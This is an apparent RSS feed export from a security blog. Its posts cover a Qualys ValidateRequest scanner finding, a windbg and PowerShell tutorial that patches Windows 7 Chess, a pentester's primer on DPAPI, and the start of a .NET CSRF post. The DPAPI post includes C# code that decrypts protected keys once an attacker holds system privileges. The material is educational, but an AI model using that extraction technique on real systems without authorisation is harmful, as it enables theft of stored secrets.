		int num = s.IndexOfAny(CrossSiteScriptingValidation.startingChars, startIndex);
		if (num &lt; 0)
		{
			break;
		}
		if (num == s.Length - 1)
		{
			return false;
		}
		matchIndex = num;
		char c = s[num];
		if (c != &#039;&amp;&#039;)
		{
			if (c == &#039;&lt;&#039; &amp;&amp; (CrossSiteScriptingValidation.IsAtoZ(s[num + 1]) || s[num + 1] == &#039;!&#039; || s[num + 1] == &#039;/&#039; || s[num + 1] == &#039;?&#039;))
			{
				return true;
			}
		}
		else
		{
			if (s[num + 1] == &#039;#&#039;)
			{
				return true;
			}
		}
		startIndex = num + 1;
	}
	return false;
}

</pre>
</ol>
<p>If I were to guess, I&#8217;d say this scan check is just checking the HTTP headers and we have no way to know what the root issue really is. This is one of my biggest issues with scanners in general. </p>
<p>More than once, working with multiple groups within multiple companies, there have been scrambles to upgrade .NET versions to address this &#8220;potential vulnerability&#8221;. Pentest reports have been delivered where this was reported as the #1 issue with an important rating and the impact spelled out like it was xss. Drives me crazy. <a href="https://twitter.com/webstersprodigy/status/324235526712471552">I even tweeted about it and everything</a>. End rant.</p>
<br />  <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=2244&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://webstersprodigy.net/2013/05/02/qualys-validaterequest-finding-is-an-annoying-pci-problem/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://2.gravatar.com/avatar/be2c27a28b3788a3b9a7a8fa243d2978?s=96&#38;d=http%3A%2F%2F2.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">webstersprodigy</media:title>
		</media:content>
	</item>
		<item>
		<title>Using windbg to beat my dad at chess</title>
		<link>http://webstersprodigy.net/2013/04/18/using-windbg-to-beat-my-dad-at-chess/</link>
		<comments>http://webstersprodigy.net/2013/04/18/using-windbg-to-beat-my-dad-at-chess/#comments</comments>
		<pubDate>Thu, 18 Apr 2013 18:50:42 +0000</pubDate>
		<dc:creator>webstersprodigy</dc:creator>
				<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[101]]></category>
		<category><![CDATA[IDA]]></category>
		<category><![CDATA[powershell]]></category>
		<category><![CDATA[reversing]]></category>
		<category><![CDATA[windbg]]></category>

		<guid isPermaLink="false">http://webstersprodigy.net/?p=2191</guid>
		<description><![CDATA[My dad is awesome. He always beats me at chess. With a huge nod to this uninformed post &#8211; introduction to reverse engineering win32 applications where they debug minesweeper, I decided to dive into the windows 7 chess game and see if I could give myself a bit of an advantage. I wasn&#8217;t sure exactly [&#8230;]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=2191&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>My dad is awesome. He always beats me at chess. With a huge nod to this <a href="http://uninformed.org/?v=1&amp;a=7&amp;t=sumry">uninformed post &#8211; introduction to reverse engineering win32 applications</a> where they debug minesweeper, I decided to dive into the windows 7 chess game and see if I could give myself a bit of an advantage. I wasn&#8217;t sure exactly what I wanted to do other than that. I&#8217;ll be using Windows 7 32 bit, and the file is at C:\Program Files\Microsoft Games\Chess\. This tutorial will probably not work with anything but Windows 32 bit. This is a <a href="http://webstersprodigy.net/tag/101/">beginner tutorial</a>.</p>
<h3>Recon and Defining what we want to do</h3>
<p>Following the uninformed post, I wondered if chess might contain symbols also, as this would make my life easier. I have this set in my config, but if you don&#8217;t then you will want to set your symbol path.</p>
<pre class="brush: plain; title: ; notranslate">
0:000&gt; .sympath srv*c:\debug*http://msdl.microsoft.com/download/symbols
Symbol search path is: srv*c:\debug*http://msdl.microsoft.com/download/symbols
Expanded Symbol search path is: srv*c:\debug*http://msdl.microsoft.com/download/symbols
0:000&gt; .reload /f *
0:000&gt; lm
start    end        module name
001b0000 00474000   Chess      (pdb symbols)          c:\debug\Chess.pdb\1467728C9EEA429C9FA465213785E17C1\Chess.pdb
6e030000 6e06c000   OLEACC     (pdb symbols)          c:\debug\oleacc.pdb\DC8A57A3E8C648228F2C3650F2BE1D672\oleacc.pdb
6f900000 6f972000   DSOUND     (pdb symbols)          c:\debug\dsound.pdb\F38F478065E247C68EDA699606F56EED2\dsound.pdb
</pre>
<p>Awesome, we have a chess.pdb. In the uninformed post they use windbg to look at functions, but I find IDA Pro easier to read. Loading chess.exe into IDA we see quite a few functions right off the bat that look interesting. It looks like there&#8217;s a Pawn class, a knight class, a bishop class, etc</p>
<pre class="brush: plain; title: ; notranslate">
Pawn::GetCaptureMoves(int const * *)   .text 0102D605 00000017 R . . . B . .
Pawn::GetShadowRadius(void)            .text 0102D621 00000007 R . . . . . .
Knight::Knight(ESide)                  .text 0102D62D 0000001D R . . . B . .
Knight::Clone(void)                    .text 0102D64F 0000002B R . . . . . .
Knight::GetPassiveMoves(int const * *) .text 0102D67F 00000017 R . . . B . .
Knight::CanJump(void)                  .text 0102D69B 00000003 R . . . . . .
Knight::GetPieceType(void)             .text 0102D6A3 00000004 R . . . . . .
Knight::GetShadowRadius(void)          .text 0102D6AC 00000007 R . . . . . .
Bishop::Bishop(ESide)                  .text 0102D6B8 0000001D R . . . B . .
Bishop::Clone(void)                    .text 0102D6DA 0000002B R . . . . . .
Bishop::GetPassiveMoves(int const * *) .text 0102D70A 00000017 R . . . B . .
Bishop::GetPieceType(void)             .text 0102D726 00000004 R . . . . . .
Rook::Rook(ESide)                      .text 0102D72F 0000001D R . . . B . .
Rook::Clone(void)                      .text 0102D751 0000002B R . . . . . .
</pre>
<p>So there seem to be two outliers, knights and pawns. Knights have extra moves like canjump, and pawns can move certain places depending on other pieces, so this makes sense. Also, this gives us a big clue that these classes contain some of the logic we can use to determine which piece can move where.</p>
<p>So how should I beat my dad? He&#8217;s not a grandmaster, so maybe if I made bishops move like queens for me that would do the trick. There is also a board class, so another idea I had was to replace the bishops with queens when the board was setup, but that&#8217;s not the route I went.</p>
<p>There&#8217;s this function getpassivemove common to all the classes</p>
<pre class="brush: plain; title: ; notranslate">
0:010&gt; x chess!*getpassivemove*
009bd781 Chess!Rook::GetPassiveMoves = &lt;no type information&gt;
009bd7f8 Chess!Queen::GetPassiveMoves = &lt;no type information&gt;
009bd67f Chess!Knight::GetPassiveMoves = &lt;no type information&gt;
009bd5d6 Chess!Pawn::GetPassiveMoves = &lt;no type information&gt;
009bd87b Chess!King::GetPassiveMoves = &lt;no type information&gt;
009bd70a Chess!Bishop::GetPassiveMoves = &lt;no type information&gt;
</pre>
<p>Setting a bp here it&#8217;s tough to tell what&#8217;s going on because it&#8217;s hit so frequently, but the functions are really simple, and for the most part they look VERY similar between pawn/rook/knight/king/etc classes</p>
<p>So let&#8217;s just replace the first instruction to jump to the other function. I had <a href="https://www.corelan.be/index.php/2012/12/31/jingle-bofs-jingle-rops-sploiting-all-the-things-with-mona-v2/">mona</a> loaded into windbg here, but you can also do this with the metasploit asm shell or nasm.</p>
<p>What this does is modify the Chess!Bishop::GetPassiveMoves function and has it immediately jump to Chess!Queen::GetPassiveMoves. (The addresses on your box will certainly be different)</p>
<pre class="brush: plain; title: ; notranslate">
0:010&gt; !py mona asm -s &quot;mov eax, 0x0076d7f8#jmp eax&quot;
Hold on...
Opcode results : 
---------------- 
 mov eax, 0x0076d7f8 = \xb8\xf8\xd7\x76\x00
 jmp eax = \xff\xe0
 Full opcode : \xb8\xf8\xd7\x76\x00\xff\xe0 

[+] This mona.py action took 0:00:02.172000

0:010&gt; eb 0076d5d6 b8 f8 d7 76 00 ff e0
0:010&gt; uf Chess!bishop::GetPassiveMoves
Flow analysis was incomplete, some code may be missing
Chess!bishop::GetPassiveMoves:
0076d5d6 b8f8d77600      mov     eax,offset Chess!Queen::GetCaptureMoves (0076d7f8)
0076d5db ffe0            jmp     eax
0:010&gt; g
</pre>
<p>Sure enough, this works. When we run we can move anywhere with our bishops</p>
<p><a href="http://webstersprodigy.net/2013/04/18/using-windbg-to-beat-my-dad-at-chess/powerful_bishop/" rel="attachment wp-att-2196"><img src="http://webstersprodigy.files.wordpress.com/2013/04/powerful_bishop.jpg?w=630&#038;h=420" alt="powerful_bishop" width="630" height="420" class="alignnone size-full wp-image-2196" /></a></p>
<h3>Problems</h3>
<p>At this point, even though we can move anywhere, we still have two problems we need to solve. 1) both black and white can move anywhere, so this doesn&#8217;t give me an advantage. What I really want is just white to be able to move anywhere 2) We can&#8217;t just write to this address because of ASLR and also because it&#8217;s a read only section of memory.</p>
<p>What does it mean for us that ASLR is enabled? Any static addresses will likely change from run to run of the chess game. Looking for non-aslred modules, there are none. By the way, I&#8217;m using <a href="https://www.corelan.be/index.php/2012/12/31/jingle-bofs-jingle-rops-sploiting-all-the-things-with-mona-v2/">mona</a> here.</p>
<pre class="brush: plain; title: ; notranslate">
0:000&gt; !py mona noaslr
Hold on...
No aslr &amp; no rebase modules :
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
----------------------------------------------------------------------------------------------------------------------------------
 Module info :
----------------------------------------------------------------------------------------------------------------------------------
 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename &amp; Path
----------------------------------------------------------------------------------------------------------------------------------
----------------------------------------------------------------------------------------------------------------------------------

</pre>
<p>So for us, we can&#8217;t really rely on any hard coded addresses.</p>
<p>Additionally, even if we solved ASLR, our hard jump strategy will also fail because both white and black call the GetPassiveMoves function. We need a way to only modify that function for white.</p>
<h3>Figuring out Whose Turn it is</h3>
<p>Getting turn info took a bit of shooting in the dark also, but because of symbols it was relatively easy to track down.</p>
<p>First I put a breakpoint here:</p>
<pre class="brush: plain; title: ; notranslate">
bp Chess!GameState::GetTurn +3 &quot;r eax; g&quot;
</pre>
<p>This is called a lot, and it seems to return 2 or 0 for white, and 0, 1, or 2 for black. This function will probably work, but there&#8217;s another turn function too named toggleturn, so lets try that. This function seems perfect &#8211; it&#8217;s called once after every move. We can see it&#8217;s testing the value in [ecx+4] so we inspect that, and sure enough it&#8217;s 1 before a white move and 0 before a black move</p>
<pre class="brush: plain; title: ; notranslate">
bp Chess!GameState::toggleturn
dd ecx + 4
</pre>
<h3>Programatically Changing the Game</h3>
<p>I&#8217;m going to programattically debug the process. The way the uninformed post did things was cool, but it&#8217;s (more) difficult to go route way because we&#8217;re not messing with data, we&#8217;re messing with the program which is non writable. So how do we programatically debug?</p>
<p>There are a ton of ways. Mona uses this and it looks awesome: <a href="http://pykd.codeplex.com/">http://pykd.codeplex.com/</a>. I&#8217;m a python guy, so usually I&#8217;d go that route, but I&#8217;m trying to learn powershell so I decided to try going that route and use this <a href="http://powerdbg.codeplex.com/">http://powerdbg.codeplex.com/</a>. For the powershell to work you need to install this module.</p>
<p>The first thing I want to do is change the hard coded value to something I can switch back and forth. So I tried setting a breakpoint that I could disable per turn</p>
<pre class="brush: plain; title: ; notranslate">
bp Chess!Bishop::GetPassiveMoves &quot;r eip=Chess!Queen::GetPassiveMoves;g&quot;
</pre>
<p>This was waaaay too slow for the game to be playable. I had to figure out something else. This is when I noticed just how similar the getpassivemoves functions are</p>
<pre class="brush: plain; title: ; notranslate">
0:012&gt; uf Chess!Bishop::GetPassiveMoves
Chess!Bishop::GetPassiveMoves:
00c5d70a 8bff            mov     edi,edi
00c5d70c 55              push    ebp
00c5d70d 8bec            mov     ebp,esp
00c5d70f 8b4508          mov     eax,dword ptr [ebp+8]
00c5d712 c700f07ec300    mov     dword ptr [eax],offset Chess!Bishop::sPassiveMoves (00c37ef0)
00c5d718 a1e87ec300      mov     eax,dword ptr [Chess!Bishop::sPassiveMovesCount (00c37ee8)]
00c5d71d 5d              pop     ebp
00c5d71e c20400          ret     4
0:012&gt; uf Chess!queen::GetPassiveMoves
Chess!Queen::GetCaptureMoves:
00c5d7f8 8bff            mov     edi,edi
00c5d7fa 55              push    ebp
00c5d7fb 8bec            mov     ebp,esp
00c5d7fd 8b4508          mov     eax,dword ptr [ebp+8]
00c5d800 c700b880c300    mov     dword ptr [eax],offset Chess!Queen::sPassiveMoves (00c380b8)
00c5d806 a1b080c300      mov     eax,dword ptr [Chess!Queen::sPassiveMovesCount (00c380b0)]
00c5d80b 5d              pop     ebp
00c5d80c c20400          ret     4
</pre>
<p>They&#8217;re very close, and they&#8217;re the exact same number of bytes. We can just edit things on the fly, replacing the queen&#8217;s code with the bishop&#8217;s code and back again.</p>
<pre class="brush: plain; title: ; notranslate">
Import-Module PowerDbg

#global vars, populated later
$bishop_code = &quot;&quot;
$queen_code = &quot;&quot;


function bishop_to_queen
{
    $command =  &quot;eb Chess!Bishop::GetPassiveMoves+a &quot; + $queen_code
    Invoke-DbgCommand $command
}

function bishop_restore
{
    $command = &quot;eb Chess!Bishop::GetPassiveMoves+a &quot; + $bishop_code
    Invoke-DbgCommand $command
}


New-DbgSession -command 'C:\Program Files\Microsoft Games\Chess\Chess.exe'
Load-PowerDbgSymbols &quot;srv*c:\debug*http://msdl.microsoft.com/download/symbols&quot;


#get the bytes for the different bishop and queen functions
$bishop_array = (Invoke-DbgCommand &quot;db Chess!Bishop::GetPassiveMoves+a L7&quot;).Split(&quot; &quot;)[2..8]
$bishop_code = [string]::join(&quot; &quot;, $bishop_array)

$queen_array = (Invoke-DbgCommand &quot;db Chess!queen::GetPassiveMoves+a L7&quot;).Split(&quot; &quot;)[2..8]
$queen_code = [string]::join(&quot; &quot;, $queen_array)


bishop_to_queen


$white_turn = $true
Invoke-DbgCommand &quot;bp Chess!GameState::ToggleTurn&quot;


#this loops once per turn
while($true)
{
    if ($white_turn -eq $true)
    {
        $white_turn = $false
        bishop_to_queen
    }
    else
    {
        $white_turn = $true
        bishop_restore
    }

    $ret_error = Invoke-DbgCommand &quot;g&quot;

    if ($ret_error.Contains(&quot;No runnable debugees&quot;))
    {
        break;
    }

}
</pre>
<p>And there we go, a runnable chess game where white bishops are super powerful. There are a few quirks, like if a bishop gets a king into checkmate with a queen move it doesn&#8217;t seem to register and you can kill the king and keep playing, but overall pretty good :)</p>
<p><a href="http://webstersprodigy.net/2013/04/18/using-windbg-to-beat-my-dad-at-chess/king_killed/" rel="attachment wp-att-2202"><img src="http://webstersprodigy.files.wordpress.com/2013/04/king_killed.jpg?w=630&#038;h=382" alt="king_killed" width="630" height="382" class="alignnone size-full wp-image-2202" /></a></p>
<p>I am still a noob at reversing, but this was still a fun afternoon :)</p>
<br />  <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=2191&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://webstersprodigy.net/2013/04/18/using-windbg-to-beat-my-dad-at-chess/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:content url="http://2.gravatar.com/avatar/be2c27a28b3788a3b9a7a8fa243d2978?s=96&#38;d=http%3A%2F%2F2.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">webstersprodigy</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2013/04/powerful_bishop.jpg" medium="image">
			<media:title type="html">powerful_bishop</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2013/04/king_killed.jpg" medium="image">
			<media:title type="html">king_killed</media:title>
		</media:content>
	</item>
		<item>
		<title>DPAPI Primer for Pentesters</title>
		<link>http://webstersprodigy.net/2013/04/05/dpapi-primer-for-pentesters/</link>
		<comments>http://webstersprodigy.net/2013/04/05/dpapi-primer-for-pentesters/#comments</comments>
		<pubDate>Fri, 05 Apr 2013 16:06:11 +0000</pubDate>
		<dc:creator>webstersprodigy</dc:creator>
				<category><![CDATA[Pentest]]></category>
		<category><![CDATA[.net]]></category>
		<category><![CDATA[101]]></category>
		<category><![CDATA[csharp]]></category>
		<category><![CDATA[dpapi]]></category>

		<guid isPermaLink="false">http://webstersprodigy.net/?p=2153</guid>
		<description><![CDATA[Understanding DPAPI is not that complicated, although the amount of the documentation can be daunting. There is a lot of excellent &#8220;under the hood&#8221; DPAPI stuff available (e.g. Stealing Windows Secrets Offline http://www.blackhat.com/html/bh-dc-10/bh-dc-10-briefings.html) But is it easier to steal these secrets online? The answer is yes, probably. DPAPI&#8217;s purpose in life is to store secrets. These [&#8230;]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=2153&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Understanding DPAPI is not that complicated, although the amount of the documentation can be daunting. There is a lot of excellent &#8220;under the hood&#8221; DPAPI stuff available (e.g. Stealing Windows Secrets Offline <a href="http://www.blackhat.com/html/bh-dc-10/bh-dc-10-briefings.html">http://www.blackhat.com/html/bh-dc-10/bh-dc-10-briefings.html</a>) But is it easier to steal these secrets online? The answer is yes, probably.</p>
<p>DPAPI&#8217;s purpose in life is to store secrets. These are frequently symmetric crypto keys used to encrypt other things. For example, typical use cases for these protected keys are for them to encrypt anything from saved passwords in an RDP connection manager on a Desktop to encrypting sensitive info in a database (e.g. bank account numbers). Using DPAPI to store sensitive info (or store keys that encrypt sensitive info) is good practice.</p>
<p>There are a few concepts to understand before using DPAPI</p>
<ul>
<li>You can encrypt/decrypt the secrets using either a &#8220;user store&#8221; or a &#8220;machine store&#8221;. This is where the entropy comes from. What this means is:
<ul>
<li>If you use the user store, then this secret may only be read by this user on this machine. In the testing I&#8217;ve done, it cannot be read by the same domain user on a different machine either.</li>
<li>If you use the machine store, any user on the machine is able to decrypt the secrets &#8211; including Network User (e.g. IIS), Guest, etc. In the testing I&#8217;ve done, this is certainly less restrictive/secure than the user store (user store takes into account the machine also).</li>
</ul>
</li>
<li>Secondary Entropy: One argument to the DPAPI calls is the secondary entropy argument. Using this, an application needs to know this secret before the data is decrypted.</li>
</ul>
<p>A few common misconceptions</p>
<ul>
<li><span style="line-height:13px;">I&#8217;ve heard from several people how the user&#8217;s login password is used for entropy. This does not really tell the whole story.  An attacker does not need to know the password to retrieve DPAPI, they just need to be executing with the account/machine. This is often an easier problem than retrieving a password.</span></li>
<li>It can be easy to mix up DPAPI and other things that make use of DPAPI. For example, the credential store is an API that uses DPAPI</li>
</ul>
<h3>A pretend good setup</h3>
<p>If things are done basically correct, then a good scheme might be something like this:</p>
<ul>
<li><span style="line-height:13px;">There&#8217;s a server database that stores encrypted bank account numbers </span>
<ul>
<li><span style="line-height:13px;">It needs to decrypt these for regular use</span></li>
<li>The encryption/integrity of this data uses a good authenticated encryption scheme, say AES/GCM.</li>
</ul>
</li>
<li>The question is, where do we store the key?
<ul>
<li>We use DPAPI in user mode to encrypt the data</li>
<li>The user used that can access the data is a locked down domain service account with limited permissions. For example, the service account can&#8217;t log in to the box, and is a different user than the database runs as.</li>
<li>The DPAPI encrypted blob is stored in an ACLed part of the registry so only the service account has access</li>
</ul>
</li>
</ul>
<p>An overly simplified example might be the following, which runs at deployment time.</p>
<pre class="brush: java; title: ; notranslate">
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Win32;
using System.Security.Cryptography;
using System.Security.Principal;
using System.Security.AccessControl;

namespace encrypt_dpapi
{
    class Program
    {
        private const string MASTER_REG_KEY_PATH = @&quot;SOFTWARE\Contoso\dbapp&quot;;
        private const string MASTER_REG_KEY_NAME = @&quot;bankkey&quot;;
        private const string SERVICE_ACCT = @&quot;EVIL\_mservice&quot;;

        public static void WriteMachineReg(string path, string valuename, string value)
        {
            RegistryKey bank_reg = Registry.LocalMachine.CreateSubKey(MASTER_REG_KEY_PATH);

            //set the ACLs of the key so only service account has access
            RegistrySecurity acl = new RegistrySecurity();
            acl.AddAccessRule(new RegistryAccessRule(SERVICE_ACCT, RegistryRights.FullControl, AccessControlType.Allow));
            acl.SetAccessRuleProtection(true, false);

            bank_reg.SetAccessControl(acl);

            //write the key
            bank_reg.SetValue(MASTER_REG_KEY_NAME, value);

            bank_reg.Close();


        }

        //we want the symmetric key to be randomly generated and no one to even know it!
        public static byte[] genSymmetricKey(int size)
        {
            RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider();
            byte[] buf = new byte[size];
            rng.GetBytes(buf);
            return buf;
        }

        static void Main(string[] args)
        {
            //check that we're running as the correct service account
            string user = WindowsIdentity.GetCurrent().Name;
            if (!user.Equals(SERVICE_ACCT, StringComparison.OrdinalIgnoreCase))
            {
                Console.WriteLine(&quot;Error: must run as &quot; + SERVICE_ACCT + &quot; Account&quot;);
                Console.WriteLine(user);
                Console.WriteLine(&quot;Exiting program&quot;);
                return;
            }


            //generate a random key we'll use to encrypt bank accounts
            byte[] key = genSymmetricKey(256);
            Console.WriteLine(&quot;Key &quot; + Convert.ToBase64String(key));

            byte[] additional_entropy = {0x41, 0x41, 0x41, 0x41};

            //dpapi encrypt the key
            byte[] enc_key = ProtectedData.Protect(key, additional_entropy, DataProtectionScope.CurrentUser);

            //dpapi encrypted key is saved in base64
            WriteMachineReg(MASTER_REG_KEY_PATH, MASTER_REG_KEY_NAME, Convert.ToBase64String(enc_key));


        }
    }
}

</pre>
<p>If I run this, I get</p>
<pre class="brush: plain; title: ; notranslate">
&gt;encrypt_dpapi.exe
Key 721HLUm5n9/0hpAFtBl3Jvn2jJ+KM3z4mPKfyLCHOAZyx/JUP6qs+DCVpwWCqbmB3CZc+o6qXeY4
T+ivRkgn6ZLUSTInuhIh96qRPC9DXZD/ALUg5NTdoWtxYaSq4uOeF6ywh1hRyLyVKSopdHkR4ZycFKV9
KIIX+O5pKK/sYBRwvkhnIwpbLO3Qps7FK5x3wNlj5OwLOfl31bs8rE0Qk/yzvhzT5+zF7BJx/j/qUCGa
g8f8PGOBhi/Ch0lGDWW203rbwdfMC8fmHAYfR4FdlU2L90lmEOCY8Mgjno4ScAGgKPyFS74TLaufLKiz
tjBaAKt89JGaNHOizWvdIGsoMw==
</pre>
<p>This is the base64 version of the key used to decrypt bank account numbers &#8211; so ultimately what we as attackers want. But if I look in the registry (where this info is stored) I get something completely different</p>
<p><a href="http://webstersprodigy.net/2013/04/05/dpapi-primer-for-pentesters/dpapi_registry/" rel="attachment wp-att-2164"><img src="http://webstersprodigy.files.wordpress.com/2013/04/dpapi_registry.jpg?w=630&#038;h=209" alt="dpapi_registry" width="630" height="209" class="alignnone size-full wp-image-2164" /></a></p>
<p>&nbsp;</p>
<h3>So how can we get decrypted Bank Account Numbers?</h3>
<p>Say we&#8217;re an attacker and we have system privs on the box above. How can we decrypt the bank account numbers?</p>
<p>There&#8217;s probably more than one way. One method may be to scan memory and extract the key from memory (but if it uses safe memory protection it may not be in there long&#8230;). Another method may be to attach a debugger to the app and extract it that way. For a production pentest, one of the most straightforward ways just to use DPAPI again to decrypt the data.</p>
<pre class="brush: java; title: ; notranslate">
using System;
using System.Text;
using System.Runtime.InteropServices;
using System.ComponentModel;
using Microsoft.Win32;
using System.Security.Cryptography;



namespace decrypt_dpapi_reg
{

    public class registry
    {
        public static string ReadMachineReg(string path, string valuename)
        {
            return (string)Registry.GetValue(path, valuename, &quot;problem&quot;);
        }
    }

    class Program
    {

        private const string MASTER_REG_KEY_PATH = @&quot;SOFTWARE\Contoso\dbapp&quot;;
        private const string MASTER_REG_KEY_NAME = @&quot;bankkey&quot;;
        private const string SERVICE_ACCT = @&quot;EVIL\_mservice&quot;;   


        public static byte[] UnprotectUser(string data)
        {
            try
            {
                byte[] additional_entropy = { 0x41, 0x41, 0x41, 0x41 };
                byte[] encryptData = Convert.FromBase64String(data);
                return ProtectedData.Unprotect(encryptData, additional_entropy, DataProtectionScope.CurrentUser);
                
            }
            catch (CryptographicException e)
            {
                Console.WriteLine(&quot;Data was not decrypted. An error occurred.&quot;);
                Console.WriteLine(e.ToString());
                return null;
            }
        }


        static void Main(string[] args)
        {
            //must be run as a user with access on a machine with access
            string s = registry.ReadMachineReg(@&quot;HKEY_LOCAL_MACHINE\&quot; + MASTER_REG_KEY_PATH, MASTER_REG_KEY_NAME);

            Console.WriteLine(&quot;DPAPI encrypted key: &quot; + s);
            Console.WriteLine();

            Console.WriteLine(&quot;DPAPI encrypted key: &quot; + BitConverter.ToString(Convert.FromBase64String(s)));
            Console.WriteLine();

            byte[] decryptedbytes = UnprotectUser(s);
            Console.WriteLine(Convert.ToBase64String(decryptedbytes));
            
        }
    }

}
</pre>
<p>If we try to run this as another user, what happens? It won&#8217;t work. We&#8217;ll get an exception like this:</p>
<pre class="brush: plain; title: ; notranslate">
System.Security.Cryptography.CryptographicException: Key not valid for use in specified state.

   at System.Security.Cryptography.ProtectedData.Unprotect(Byte[] encryptedData,Byte[] optionalEntropy, DataProtectionScope scope)
   at decrypt_dpapi_reg.Program.UnprotectUser(String data)
</pre>
<p>DPAPI uses the user entropy to encrypt the data, so we need to compromise the user. But what happens if we copy out the registry value to another machine and try to DPAPI to decrypt the secrets on another box as the EVIL\_mservice account, what happens?</p>
<p>It turns out in my testing this does not work, and I got the same exception as a bad user on the same machine. I needed to run on the same machine that encrypted the key.</p>
<h3>Blackbox Detection</h3>
<p>DPAPI can be really tough to do with a complete blackbox. As part of an engagement, if I&#8217;ve compromised this far, I usually go hunting for the source which is frequently less protected than the DPAPI protected asset. But one giveaway that you&#8217;re even dealing with DPAPI is if a blob has a structure similar to the following:</p>
<p><a href="http://webstersprodigy.net/2013/04/05/dpapi-primer-for-pentesters/dpapi_format/" rel="attachment wp-att-2166"><img src="http://webstersprodigy.files.wordpress.com/2013/04/dpapi_format.jpg?w=630&#038;h=271" alt="dpapi_format" width="630" height="271" class="alignnone size-full wp-image-2166" /></a></p>
<p>We can be a bit more scientific about this. Comparing two runs of the same program above gives the following bytes that are the same (note that since the key itself is random but a constant length, this reveals a bit about the structure). This is documented better elsewhere I&#8217;m sure, but if something looks quite a bit like this, it should give you a quick idea if you&#8217;re dealing with a dpapi encrypted blob.</p>
<pre class="brush: plain; title: ; notranslate">
01-00-00-00-D0-8C-9D-DF-01-15-D1-11-8C-7A-00-C0-4F-C2-97-EB
-01-00-00-00-08-DC-D9-58-94-2E-C9-4A-9C-59-12-F1-60-EA-6C-56-00-00-00-00-02-00-0
0-00-00-00-03-66-00-00-C0-00-00-00-10-00-00-00-xx-xx-xx-xx-xx-xx-xx-xx-xx-xx-xx-
xx-xx-xx-xx-xx--00-00-00-00-04-80-00-00-A0-00-00-00-10-00-00-00-xx.....
</pre>
<br />  <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=2153&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://webstersprodigy.net/2013/04/05/dpapi-primer-for-pentesters/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://2.gravatar.com/avatar/be2c27a28b3788a3b9a7a8fa243d2978?s=96&#38;d=http%3A%2F%2F2.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">webstersprodigy</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2013/04/dpapi_registry.jpg" medium="image">
			<media:title type="html">dpapi_registry</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2013/04/dpapi_format.jpg" medium="image">
			<media:title type="html">dpapi_format</media:title>
		</media:content>
	</item>
		<item>
		<title>Common .NET ViewstateUserKey CSRF Issue</title>
		<link>http://webstersprodigy.net/2013/03/21/common-net-viewstateuserkey-csrf-issue/</link>
		<comments>http://webstersprodigy.net/2013/03/21/common-net-viewstateuserkey-csrf-issue/#comments</comments>
		<pubDate>Fri, 22 Mar 2013 04:29:43 +0000</pubDate>
		<dc:creator>webstersprodigy</dc:creator>
				<category><![CDATA[Web Hacking]]></category>
		<category><![CDATA[2013BH]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[csrf]]></category>

		<guid isPermaLink="false">http://webstersprodigy.net/?p=2133</guid>
		<description><![CDATA[I&#8217;ve added the 2013BH tag to all posts related to my recent Blackhat EU talk &#8211; more posts are coming, and I&#8217;ll post the whole talk and finished whitepaper relatively soon. To understand this post, reviewing MVC .NET CSRF issues and Problems with triple submit cookies may be useful. The most common advice for mitigating [&#8230;]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=2133&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>I&#8217;ve added the <a href="http://webstersprodigy.net/tag/2013bh/">2013BH</a> tag to all posts related to my recent Blackhat EU talk &#8211; more posts are coming, and I&#8217;ll post the whole talk and finished whitepaper relatively soon. To understand this post, reviewing <a href="http://webstersprodigy.net/2013/02/14/mvc-antiforgery/" title=".NET MVC AntiforgeryToken CSRF Testing">MVC .NET CSRF issues</a> and <a href="http://webstersprodigy.net/2012/08/03/analysis-of-john-wilanders-triple-submit-cookies/" title="Analysis of John Wilander’s Triple Submit Cookies">Problems with triple submit cookies</a> may be useful.</p>
<p>The most common advice for mitigating CSRF in .NET web applications is to set ViewStateUserKey to sessionID. This is an extremely common CSRF defense.  At the time of this writing, something like this is present in the <a href="https://www.owasp.org/index.php/Cheat_Sheets">OWASP prevention cheat sheet</a> as well as the <a href="http://msdn.microsoft.com/en-us/library/ms972969.aspx">Microsoft SDL</a>. The following is a snippet from OWASP.</p>
